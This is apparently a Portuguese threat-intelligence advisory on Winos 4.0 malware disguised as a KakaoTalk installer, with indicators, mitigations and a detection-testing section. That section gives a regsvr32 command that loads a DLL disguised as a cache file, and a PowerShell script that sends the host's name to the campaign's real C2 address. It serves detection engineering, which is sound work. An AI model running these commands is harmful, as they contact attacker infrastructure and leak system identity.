Malware Winos 4.0 Disfarçado como Instalador do KakaoTalk

Resumo

Os atacantes abusaram do envenenamento de SEO para empurrar um instalador falso do KakaoTalk para o topo dos resultados de busca. O instalador continha um certificado de assinatura de código inválido e embutido um pacote NSIS que extraía arquivos maliciosos, incluindo Verifier.exe e AutoRecoverDat.dll. Uma vez executado, o malware atingiu persistência através do registro de DLL, tarefas agendadas e um mutex, em seguida, conectou-se a dois servidores C2 separados. Suas capacidades incluíam captura de tela, perfil de sistema e execução em memória de cargas adicionais.

Investigação

O Centro de Inteligência de Segurança da AhnLab relatou mais de 5.000 PCs comprometidos depois que a campanha começou em 9 de março. Análises mostraram que cargas úteis NSIS criptografadas decriptam e descartam Verifier.exe e AutoRecoverDat.dll, criam um mutex e carregam shellcode a partir de arquivos GPUCache.xml. Dependendo do ramo de shellcode, o malware contatava infraestruturas C2 em 192.238.129.47 ou 119.28.70.225. A persistência foi mantida via registro de DLL e tarefas agendadas que lançavam ou Verifier.exe ou rundll32 com a DLL maliciosa.

Mitigação

As organizações devem bloquear os domínios maliciosos e URLs de download associados à campanha. Enforce validação rigorosa de assinatura de código e previna a execução de binários que transportem certificados inválidos. Listas de permissão de aplicativos devem ser usadas para bloquear instaladores NSIS desconhecidos de execução. As equipes de segurança também devem monitorar o mutex específico, tarefas agendadas suspeitas e alterações no registro descritas no relatório.

Resposta

Equipes de detecção devem alertar sobre a criação do mutex 77825d8f-46d1-42d0-b298-83068bf9e31d e tarefas agendadas em MicrosoftWindowsAppID. Procurar por Verifier.exe e AutoRecoverDat.dll dentro dos diretórios de perfil de usuário e bloquear tráfego de saída para os IPs e portas C2 conhecidos. Realizar revisão forense dos sistemas afetados e remover completamente todos os artefatos de persistência e componentes maliciosos.

Execução de Simulação

Pré-requisito: O Check pré-voo para Telemetria & Baseline deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa devem refletir diretamente os TTPs identificados e visar a gerar a telemetria exata esperada pela lógica de detecção.

• Narrativa do Ataque & Comandos:

  O adversário já colocou DLLs maliciosos dentro da %LOCALAPPDATA%MicrosoftWindowsGPUCache diretório, disfarçando-se como arquivos de cache legítimos. Para executar a carga, o atacante aproveita Regsvr32 (T1218.012) para carregar a DLL, depois usa o componente carregado para iniciar a comunicação C2 via porta TCP 18852 (ou porta HTTPS 443) para o servidor hard-coded 192.238.129.47. Este fluxo de rede é o indicador observável que a regra Sigma monitora.

  1. Carregar DLL maliciosa via Regsvr32

     regsvr32 /s "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"

  2. Iniciar beacon C2 (a DLL maliciosa abre um soquete TCP para o servidor C2). Para teste, emulamos o beacon com um cliente PowerShell TCP simples que se conecta ao mesmo IP/porta.

     $c2 = New-Object System.Net.Sockets.TcpClient('192.238.129.47',18852)
     $stream = $c2.GetStream()
     $payload = [System.Text.Encoding]::ASCII.GetBytes("Beacon from $env:COMPUTERNAME")
     $stream.Write($payload,0,$payload.Length)
     $stream.Close()
     $c2.Close()

• Script de Teste de Regressão: O script a seguir reproduz as etapas acima de ponta a ponta e gerará a telemetria de rede exata que a regra Sigma espera.

  # -------------------------------------------------
  # Simulação de C2 Winos4.0 – aciona regra Sigma
  # -------------------------------------------------
  # 1. Carregar a DLL maliciosa (simulada) via Regsvr32
  $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
  if (Test-Path $dllPath) {
      Write-Host "[*] Registrando DLL maliciosa via Regsvr32..."
      regsvr32 /s $dllPath
  } else {
      Write-Error "[-] DLL simulada não encontrada em $dllPath – abortando."
      exit 1
  }
  
  # 2. Emular beacon C2 para o IP/porta hard-coded
  $c2IP   = '192.238.129.47'
  $c2Port = 18852
  
  Write-Host "[*] Estabelecendo conexão TCP com $c2IP:$c2Port ..."
  try {
      $client = New-Object System.Net.Sockets.TcpClient($c2IP,$c2Port)
      $stream = $client.GetStream()
      $msg    = "Beacon from $env:COMPUTERNAME at $(Get-Date -Format o)"
      $bytes  = [System.Text.Encoding]::ASCII.GetBytes($msg)
      $stream.Write($bytes,0,$bytes.Length)
      Write-Host "[+] Beacon enviado."
  } catch {
      Write-Error "[-] Falha na conexão: $_"
  } finally {
      if ($stream) { $stream.Close() }
      if ($client) { $client.Close() }
  }
  # -------------------------------------------------

• Comandos de Limpeza: Remova quaisquer artefatos temporários e feche conexões remanescentes.

  # Remover a DLL maliciosa simulada (se foi um artefato de teste)
  $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
  if (Test-Path $dllPath) {
      Remove-Item -Path $dllPath -Force
      Write-Host "[*] Limpado DLL simulada."
  }
  
  # Assegure-se de que não restem ouvintes TCP órfãos (improvável apenas no lado do cliente)
  Get-NetTCPConnection -RemoteAddress 192.238.129.47 -RemotePort 18852 | ForEach-Object {
      # Nenhuma ação necessária; conexões são fechadas no script.
  }